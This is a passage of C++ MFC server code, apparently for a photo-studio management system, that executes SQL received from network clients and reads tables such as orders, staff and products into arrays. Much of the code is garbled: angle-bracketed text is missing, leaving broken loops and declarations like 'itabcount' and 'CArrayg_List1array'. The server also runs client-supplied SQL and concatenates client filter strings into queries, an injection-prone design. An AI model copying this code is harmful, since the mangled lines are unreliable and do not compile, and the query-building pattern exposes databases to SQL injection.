(sql.GetLength ()-pos-3); pos=sql.Find ("***"); } MyExecuteSQL ( sql); } else if(sql.Find ("@@@")!=-1) { pos=sql.Find ("@@@"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("@@@"); } UpdateMemberCard (sql); } else if(sql.Find ("~~~~")!=-1) { pos=sql.Find ("~~~~"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-4); pos=sql.Find ("~~~~"); } UpdateMemberCard3 (sql); } else if(sql.Find ("~~~")!=-1) { pos=sql.Find ("~~~"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("~~~"); } UpdateMemberCard2 (sql); } else if(sql.Find ("%%%")!=-1) { pos=sql.Find ("%%%"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("%%%"); } DeleteMemberReg (sql); } else if(sql.Find ("###")!=-1) { pos=sql.Find ("###"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("###"); } UpdateBuKuan (sql); } else if(sql.Find ("$$$")!=-1) { pos=sql.Find ("$$$"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("$$$"); } UpdateBuKuan2 (sql); } else if(sql.Find ("&&&")!=-1) { pos=sql.Find ("&&&"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("&&&"); } Updatememberreg2 (sql); } else if(sql.Find ("^^^")!=-1) { pos=sql.Find ("^^^"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right (sql.GetLength ()-pos-3); pos=sql.Find ("^^^"); } UpdateBurnCdReg (sql); } else { MyExecuteSQL ( sql); } } catch(...) { } } } DWORD szDataBuf[2]={count,0}; int nDataLen=sizeof(DWORD); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else { CString sql; if(nMessageLen>1) { char *szChatMessage = new char[nMessageLen]; memset(szChatMessage, 0x00, nMessageLen); memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen); sql=szChatMessage;delete []szChatMessage; } CString filter[15]={""}; if(!sql.IsEmpty ()) { int i=0; int pos=sql.Find (";"); while(pos!=-1) { filter[i]=sql.Left (pos);i++; sql=sql.Right (sql.GetLength ()-pos-1); pos=sql.Find (";"); } filter[i]=sql; } BYTE *pReturn[15]={NULL}; int i; DWORD nSumReturnLeng=0; if(ptChatMessage->tabcount==100)//自动发短信 { i=0; GetDataFromCodeMsg(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i]); nSumReturnLeng+=g_sendhead.length[i]; ptChatMessage->tabcount=1; } else {CDatabase *m_pConndbTemp; for( i=0; itabcount; i++) { g_sendhead.code[i]=ptChatMessage->code[i]; m_pConndbTemp=m_pConndb; GetDataFromCode(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i],filter[i]); m_pConndb=m_pConndbTemp; nSumReturnLeng+=g_sendhead.length[i]; } } g_sendhead.tabcount =ptChatMessage->tabcount; if(1)//nSumReturnLeng-bytesRead) { dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nSumReturnLeng; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)(pSendData+MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData+MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nSumReturnLeng; pChatMessage->wMessageLen = nSumReturnLeng; DWORD bytesRead=0; for( i=0; itabcount; i++) { memcpy(pChatMessage->byFileContent+bytesRead, pReturn[i], g_sendhead.length[i]); bytesRead+=g_sendhead.length[i]; } FillHeader(pSendData, wMessageId, dwDataLen-MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete [] pSendData; } return; } } TMessageHeader tHeader = {0}; tHeader.wMessageId = wMessageId; tHeader.dwDataLen = dwDataLen; dwToUserID=dwDataLen; net_Send(&tHeader, (void *)pChatMessage, dwDataLen); } } catch(...) { } } void ConvertToPrice(CString &str) { if(str.Find ('.')==-1)return; str.TrimRight ('0'); str.TrimRight ('.'); } void SortArray(CArray*List1array, int pos) { CString stemp; int last = List1array->GetSize () - 1; int ret=last; bool sorted = true; do { sorted = true; for (int i = 0; i < last; i++) { if (List1array->ElementAt (i).ElementAt (pos) < List1array->ElementAt (i+1).ElementAt (pos)) { for(int a=0; aElementAt (i).GetSize(); a++) { stemp = List1array->ElementAt (i).ElementAt (a); List1array->ElementAt (i).SetAt (a, List1array->ElementAt (i+1).ElementAt (a)); List1array->ElementAt (i+1).SetAt (a, stemp); } sorted = false; } } last--; } while (!sorted); } void CConnectSocket::GetDataFromCodeMsg(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize) {int nStep=0; try { MyLock lock("dbaccessxiao"); if(g_ListData[code])delete [](g_ListData[code]);g_ListData[code]=NULL; nStep=1; CArrayg_List1array; CArraydbarray2; dbarray2.Copy(dbarray); dbarray2.InsertAt(0, &g_db); CDatabase* tempdb=g_curdb; DWORD ii=0; try { for(int n=0; nm_strRemoteHost); WriteLogin(ss); WriteLogin(e->m_strError);return; } nStep=2; g_curdb=tempdb; CMemFile memfile; CArchive ar(&memfile, CArchive::store); for( ii=0; iim_strRemoteHost); WriteLogin(ss); } } ///////////////////////////////////////////////////////////////////////////////50 CString g_sdomain; extern BOOL g_bReg; void CConnectSocket::GetDataFromCode(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize, CString filter) {//m_List1array int nStep=0; try { if(g_ListData[code])delete [](g_ListData[code]);g_ListData[code]=NULL; nStep=1; if(code>182) { GetDataFromCode4(code, szDataBuf, nDataLen, arraysize, filter); return; } else if(code>134) { GetDataFromCode3(code, szDataBuf, nDataLen, arraysize, filter); return; } else if(code>96) { GetDataFromCode2(code, szDataBuf, nDataLen, arraysize, filter); return; } DWORD ii=0; CArrayg_List1array; try { switch(code) { case 1://historydb //#ifdef SQLSERVER_VERSION // break; //#endif { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from historydb";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstHistorydb rsSt; rsSt.m_pDatabase=m_pConndb; if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.year) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 2://shangpinlb { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from shangpinlb";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstSPLB rsSt; rsSt.m_pDatabase=m_pConndb; if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 3://bumen { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from bumen";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstBuMen rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close(); g_List1array.SetSize(ii+4 , 1 ); g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add ("门市部"); g_List1array.ElementAt (ii+1).RemoveAll (); g_List1array.ElementAt (ii+1).Add ("摄影部"); g_List1array.ElementAt (ii+2).RemoveAll (); g_List1array.ElementAt (ii+2).Add ("化妆部"); g_List1array.ElementAt (ii+3).RemoveAll (); g_List1array.ElementAt (ii+3).Add ("数码部"); /* g_List1array.SetSize(14, 1); g_List1array.ElementAt (0).RemoveAll (); g_List1array.ElementAt (0).Add ("门市部"); g_List1array.ElementAt (1).RemoveAll (); g_List1array.ElementAt (1).Add ("摄影部"); g_List1array.ElementAt (2).RemoveAll (); g_List1array.ElementAt (2).Add ("化妆部"); g_List1array.ElementAt (3).RemoveAll (); g_List1array.ElementAt (3).Add ("财务部"); g_List1array.ElementAt (4).RemoveAll (); g_List1array.ElementAt (4).Add ("数码部"); g_List1array.ElementAt (5).RemoveAll (); g_List1array.ElementAt (5).Add ("制作部"); g_List1array.ElementAt (6).RemoveAll (); g_List1array.ElementAt (6).Add ("礼服部"); g_List1array.ElementAt (7).RemoveAll (); g_List1array.ElementAt (7).Add ("后勤部"); g_List1array.ElementAt (8).RemoveAll (); g_List1array.ElementAt (8).Add ("客服部"); g_List1array.ElementAt (9).RemoveAll (); g_List1array.ElementAt (9).Add ("行政部"); g_List1array.ElementAt (10).RemoveAll (); g_List1array.ElementAt (10).Add ("人事部"); g_List1array.ElementAt (11).RemoveAll (); g_List1array.ElementAt (11).Add ("电子商务部"); g_List1array.ElementAt (12).RemoveAll (); g_List1array.ElementAt (12).Add ("网络部"); g_List1array.ElementAt (13).RemoveAll (); g_List1array.ElementAt (13).Add ("店长");*/ } break; case 4://shangpin { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from shangpin";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstShangPin rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.spid) ; g_List1array.ElementAt (ii).Add(rsSt.spname) ; g_List1array.ElementAt (ii).Add(rsSt.spdanwei) ; g_List1array.ElementAt (ii).Add(rsSt.spjiaga1) ; g_List1array.ElementAt (ii).Add(rsSt.spjiage2) ; g_List1array.ElementAt (ii).Add(rsSt.spjiage3) ; g_List1array.ElementAt (ii).Add(rsSt.splb) ; g_List1array.ElementAt (ii).Add(rsSt.hide) ; g_List1array.ElementAt (ii).Add(rsSt.spbz) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 5://renyuan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from renyuan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstRenYuan rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.bm) ; g_List1array.ElementAt (ii).Add(rsSt.sex) ; g_List1array.ElementAt (ii).Add(rsSt.phone) ; g_List1array.ElementAt (ii).Add(rsSt.address) ; g_List1array.ElementAt (ii).Add(rsSt.bz) ; g_List1array.ElementAt (ii).Add(rsSt.address2) ; g_List1array.ElementAt (ii).Add(rsSt.idno) ; g_List1array.ElementAt (ii).Add(rsSt.marry) ; g_List1array.ElementAt (ii).Add(rsSt.dimission) ; g_List1array.ElementAt (ii).Add(rsSt.loginno1) ; g_List1array.ElementAt (ii).Add(rsSt.loginno2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 6://taoxi { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from taoxi";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstTaoXi rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.taoxiid) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.zs) ; g_List1array.ElementAt (ii).Add(rsSt.type) ; g_List1array.ElementAt (ii).Add(rsSt.show) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 7://taoxishangpin1 and taoxishangpin2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from taoxishangpin1";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); CRstTaoXiSP1 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.taoxiid) ; g_List1array.ElementAt (ii).Add(rsSt.spid1) ; g_List1array.ElementAt (ii).Add(rsSt.shuliang) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 8://shangpin-2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from shangpin";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstShangPin rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.spid) ; g_List1array.ElementAt (ii).Add(rsSt.spname) ; g_List1array.ElementAt (ii).Add(rsSt.spjiaga1) ; g_List1array.ElementAt (ii).Add(rsSt.spjiage2) ; g_List1array.ElementAt (ii).Add(rsSt.splb) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 9://gongyingshang { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from gongyingshang";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstProvider rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.gyid) ; g_List1array.ElementAt (ii).Add(rsSt.gyname) ; g_List1array.ElementAt (ii).Add(rsSt.addr) ; g_List1array.ElementAt (ii).Add(rsSt.tel) ; g_List1array.ElementAt (ii).Add(rsSt.fax) ; g_List1array.ElementAt (ii).Add(rsSt.netaddress) ; g_List1array.ElementAt (ii).Add(rsSt.bz) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 10://taoxishangpin1 and taoxishangpin2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from taoxishangpin2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); CRstTaoXiSP2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); // ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.taoxiid) ; g_List1array.ElementAt (ii).Add(rsSt.spid2) ; g_List1array.ElementAt (ii).Add(rsSt.shuliang) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); //////////////////////////////////////// } break; case 11://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstBooking rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.money1) ; g_List1array.ElementAt (ii).Add(rsSt.money2) ; g_List1array.ElementAt (ii).Add(rsSt.money3) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiid) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.taoxizs) ; g_List1array.ElementAt (ii).Add(rsSt.time1) ; g_List1array.ElementAt (ii).Add(rsSt.time2) ; g_List1array.ElementAt (ii).Add(rsSt.time3) ; g_List1array.ElementAt (ii).Add(rsSt.bm) ; g_List1array.ElementAt (ii).Add(rsSt.ren) ; g_List1array.ElementAt (ii).Add(rsSt.discount) ; g_List1array.ElementAt (ii).Add(rsSt.payed1) ; g_List1array.ElementAt (ii).Add(rsSt.payed2) ; g_List1array.ElementAt (ii).Add(rsSt.payed3) ; g_List1array.ElementAt (ii).Add(rsSt.payed4) ; g_List1array.ElementAt (ii).Add(rsSt.payed5) ; g_List1array.ElementAt (ii).Add(rsSt.time4) ; g_List1array.ElementAt (ii).Add(rsSt.time5) ; g_List1array.ElementAt (ii).Add(rsSt.takezs) ; g_List1array.ElementAt (ii).Add(rsSt.choosezs) ; g_List1array.ElementAt (ii).Add(rsSt.status) ; g_List1array.ElementAt (ii).Add(rsSt.clothescount) ; g_List1array.ElementAt (ii).Add(rsSt.clothescount2) ; g_List1array.ElementAt (ii).Add(rsSt.outside) ; g_List1array.ElementAt (ii).Add(rsSt.outside2) ; g_List1array.ElementAt (ii).Add(rsSt.style) ; g_List1array.ElementAt (ii).Add(rsSt.payed4time) ; g_List1array.ElementAt (ii).Add(rsSt.status2) ; g_List1array.ElementAt (ii).Add(rsSt.status3) ; g_List1array.ElementAt (ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (ii).Add(rsSt.waiter2) ; g_List1array.ElementAt (ii).Add(rsSt.waiter3) ; g_List1array.ElementAt (ii).Add(rsSt.waiter4) ; g_List1array.ElementAt (ii).Add(rsSt.bz) ; g_List1array.ElementAt (ii).Add(rsSt.bz3) ; g_List1array.ElementAt (ii).Add(rsSt.urgent) ; g_List1array.ElementAt (ii).Add(rsSt.waiter6) ; g_List1array.ElementAt (ii).Add(rsSt.waiter5) ; g_List1array.ElementAt (ii).Add(rsSt.waiter7) ; g_List1array.ElementAt (ii).Add(rsSt.status4) ; g_List1array.ElementAt (ii).Add(rsSt.status5) ; g_List1array.ElementAt (ii).Add(rsSt.status6) ; g_List1array.ElementAt (ii).Add(rsSt.memberno) ; g_List1array.ElementAt (ii).Add(rsSt.time6) ; g_List1array.ElementAt (ii).Add(rsSt.ren2) ; g_List1array.ElementAt (ii).Add(rsSt.waiter12) ; g_List1array.ElementAt (ii).Add(rsSt.waiter22) ; g_List1array.ElementAt (ii).Add(rsSt.txtype) ; g_List1array.ElementAt (ii).Add(rsSt.delphotos) ; g_List1array.ElementAt (ii).Add(rsSt.growthtxselname) ; g_List1array.ElementAt (ii).Add(rsSt.status8) ; g_List1array.ElementAt (ii).Add(rsSt.delphotos2) ; g_List1array.ElementAt (ii).Add(rsSt.bz2) ; g_List1array.ElementAt (ii).Add(rsSt.designno) ; g_List1array.ElementAt (ii).Add(rsSt.designreplaceno) ; g_List1array.ElementAt (ii).Add(rsSt.size) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; //#ifdef LKAY_VERSION g_List1array.ElementAt (ii).Add(rsSt.dindantype) ; g_List1array.ElementAt (ii).Add(rsSt.contractno1) ; g_List1array.ElementAt (ii).Add(rsSt.contractno2) ; g_List1array.ElementAt (ii).Add(rsSt.cfno) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.reason) ; g_List1array.ElementAt (ii).Add(rsSt.time7) ; g_List1array.ElementAt (ii).Add(rsSt.waiter13) ; g_List1array.ElementAt (ii).Add(rsSt.waiter14) ; //#endif g_List1array.ElementAt (ii).Add(rsSt.time8) ; g_List1array.ElementAt (ii).Add(rsSt.time9) ; g_List1array.ElementAt (ii).Add(rsSt.time10) ; g_List1array.ElementAt (ii).Add(rsSt.bz4) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 54://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstFlowChart rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_name1) ; g_List1array.ElementAt (ii).Add(rsSt.m_name2) ; g_List1array.ElementAt (ii).Add(rsSt.m_phone1) ; g_List1array.ElementAt (ii).Add(rsSt.m_phone2) ; g_List1array.ElementAt (ii).Add(rsSt.m_urgent) ; g_List1array.ElementAt (ii).Add(rsSt.m_time2) ; g_List1array.ElementAt (ii).Add(rsSt.m_time4) ; g_List1array.ElementAt (ii).Add(rsSt.m_time5) ; g_List1array.ElementAt (ii).Add(rsSt.m_takezs) ; g_List1array.ElementAt (ii).Add(rsSt.m_taoxizs) ; g_List1array.ElementAt (ii).Add(rsSt.m_choosezs) ; g_List1array.ElementAt (ii).Add(rsSt.m_ren) ; g_List1array.ElementAt (ii).Add(rsSt.m_waiter3) ; g_List1array.ElementAt (ii).Add(rsSt.m_waiter1) ; g_List1array.ElementAt (ii).Add(rsSt.m_waiter2) ; g_List1array.ElementAt (ii).Add(rsSt.m_waiter4) ; g_List1array.ElementAt (ii).Add(rsSt.m_bz3) ; g_List1array.ElementAt (ii).Add(rsSt.m_money3) ; g_List1array.ElementAt (ii).Add(rsSt.m_money1) ; g_List1array.ElementAt (ii).Add(rsSt.m_taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.m_payed4) ; g_List1array.ElementAt (ii).Add(rsSt.m_payed5) ; g_List1array.ElementAt (ii).Add(rsSt.m_bz) ; g_List1array.ElementAt (ii).Add(rsSt.m_taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.m_bz2) ; g_List1array.ElementAt (ii).Add(rsSt.m_time6) ; g_List1array.ElementAt (ii).Add(rsSt.m_waiter8) ; g_List1array.ElementAt (ii).Add(rsSt.designreplaceno) ; g_List1array.ElementAt (ii).Add(rsSt.m_bz4) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 12://gudingfeiyongxiangmu { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from gudingfeiyongxiangmu";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstPayOutSet rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.xiangmu) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 13://gudingfeiyong { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from gudingfeiyong";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstPayOutInput rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.money) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan1) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan2) ; g_List1array.ElementAt (ii).Add(rsSt.bz) ; g_List1array.ElementAt (ii).Add(rsSt.financecheck) ; g_List1array.ElementAt (ii).Add(rsSt.time) ; g_List1array.ElementAt (ii).Add(rsSt.financecheck2) ; g_List1array.ElementAt (ii).Add(rsSt.financecheck3) ; g_List1array.ElementAt (ii).Add(rsSt.hasphoto) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 14://singleincome { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from singleincome";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstIncomeInput rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.money) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan1) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan2) ; g_List1array.ElementAt (ii).Add(rsSt.renyuan3) ; g_List1array.ElementAt (ii).Add(rsSt.bz) ; g_List1array.ElementAt (ii).Add(rsSt.sale2type) ; g_List1array.ElementAt (ii).Add(rsSt.paytype) ; g_List1array.ElementAt (ii).Add(rsSt.financecheck) ; g_List1array.ElementAt (ii).Add(rsSt.time) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 15://dindanclient { CArraym_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDinDanClient2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); #ifdef CHILD_VERSION m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt 